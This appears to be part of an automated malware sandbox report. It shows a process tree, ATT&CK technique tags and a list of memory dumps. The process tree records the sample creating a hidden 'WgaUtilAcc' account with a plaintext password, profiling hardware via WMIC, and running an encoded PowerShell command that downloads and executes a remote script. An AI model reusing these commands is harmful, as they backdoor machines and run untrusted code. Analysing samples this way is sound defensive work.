PID:1132
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc pz7fz8AV
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:748
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc pz7fz8AV
    3⤵
    PID:3936

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:1292
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:3956

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3848
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:3116

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2920
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2824

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/428-212-0x000002174B798000-0x000002174B79A000-memory.dmp

Filesize
8KB

Download
memory/428-168-0x000002174B790000-0x000002174B792000-memory.dmp

Filesize
8KB

Download
memory/428-169-0x000002174B793000-0x000002174B795000-memory.dmp

Filesize
8KB

Download
memory/428-192-0x000002174B796000-0x000002174B798000-memory.dmp

Filesize
8KB

Download
memory/1808-114-0x00000254E98C0000-0x00000254E9CE0000-memory.dmp

Filesize
4.1MB

Download
memory/1808-119-0x00000254CF506000-0x00000254CF507000-memory.dmp

Filesize
4KB

Download
memory/1808-118-0x00000254CF505000-0x00000254CF506000-memory.dmp

Filesize
4KB

Download
memory/1808-117-0x00000254CF503000-0x00000254CF505000-memory.dmp

Filesize
8KB

Download
memory/1808-116-0x00000254CF500000-0x00000254CF502000-memory.dmp

Filesize
8KB

Download
memory/1988-214-0x00000149F70C3000-0x00000149F70C5000-memory.dmp

Filesize
8KB

Download
memory/1988-215-0x00000149F70C6000-0x00000149F70C8000-memory.dmp

Filesize
8KB

Download
memory/1988-255-0x00000149F70C8000-0x00000149F70CA000-memory.dmp

Filesize
8KB

Download
memory/1988-213-0x00000149F70C0000-0x00000149F70C2000-memory.dmp

Filesize
8KB

Download
memory/2732-125-0x0000020AABC70000-0x0000020AABC71000-memory.dmp

Filesize
4KB

Download
memory/2732-128-0x0000020AABE70000-0x0000020AABE71000-memory.dmp

Filesize
4KB

Download
memory/2732-152-0x0000020AAC740000-0x0000020AAC741000-memory.dmp

Filesize
4KB

Download
memory/2732-141-0x0000020AABCE3000-0x0000020AABCE5000-memory.dmp

Filesize
8KB

Download
memory/2732-142-0x0000020AABCE6000-0x0000020AABCE8000-memory.dmp

Filesize
8KB

Download
memory/2732-140-0x0000020AABCE0000-0x0000020AABCE2000-memory.dmp

Filesize
8KB

Download
memory/2732-144-0x0000020AABCC0000-0x0000020AABCC1000-memory.dmp

Filesize
4KB

Download
memory/2732-151-0x0000020AAC3B0000-0x0000020AAC3B1000-memory.dmp

Filesize
4KB

Download
memory/2732-148-0x0000020AABCE8000-0x0000020AABCE9000-memory.dmp

Filesize
4KB

Download
memory/2824-390-0x0000020EFD078000-0x0000020EFD079000-memory.dmp

Filesize
4KB

Download
memory/2824-380-0x0000020EFD076000-0x0000020EFD078000-memory.dmp

Filesize
8KB

Download
memory/2824-378-0x0000020EFD070000-0x0000020EFD072000-memory.dmp

Filesize
8KB

Download
memory/2824-379-0x0000020EFD073000-0x0000020EFD075000-memory.dmp

Filesize
8KB

Download
memory/2912-259-0x00000267C4CC3000-0x00000267C4CC5000-memory.dmp

Filesize
8KB

Download
memory/2912-262-0x00000267C4CC6000-0x00000267C4CC8000-memory.dmp

Filesize
8KB

Download
memory/2912-257-0x00000267C4CC0000-0x00000267C4CC2000-memory.dmp

Filesize
8KB

Download
memory/2912-287-0x00000267C4CC8000-0x00000267C4CCA000-memory.dmp

Filesize
8KB

Download